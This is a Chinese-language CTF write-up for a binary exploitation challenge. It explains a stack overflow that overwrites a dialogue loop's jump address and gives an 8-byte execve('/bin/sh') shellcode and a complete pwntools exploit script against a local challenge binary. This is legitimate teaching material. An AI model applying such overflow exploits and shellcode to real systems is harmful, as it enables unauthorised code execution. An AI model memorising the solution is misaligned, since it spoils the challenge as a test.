点击此处获得更好的阅读体验
WriteUp来源
官方WP
题目考点
解题思路
在输入name后,如果name的长度等于8,将获得一次输入的机会,此次输入存在溢出,可以修改之后的对话次数,在栈的最顶上存放着一个地址,该地址为对话循环的跳转位置,多次对话将不停向栈上压入对话内容,直到覆盖栈的顶部,修改跳转位置为shellcode。
由于所有被保存的输入都不超过8个字节,且输入后都会再向栈上压入内容,所以shellcode本身不能超过8个字节。
shellcode编写思路:在程序开始时,r12寄存器保存了/bin/sh
的地址,跳转前会执行rax,rbx,rcx,rdx的清零,故shellcode如下
1 2 3
| mov rbx,r12; mov al,11; int 0x80
|
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import* context(os='linux', arch='amd64', log_level='debug') p=process("./1")
sleep(0.1) p.send("\xff"*8) sleep(0.1) p.send("\xff"*40+"\x18") sleep(0.1) a=16
pay=asm(""" mov rbx,r12; mov al,11; int 0x80 """) print len(pay) sleep(0.1) p.send(pay) while(a): sleep(0.1) a=a-1 p.sendafter("you lost","\x89\x05\x60\x00\x00\x00\x00\x00") p.recv() p.interactive()
|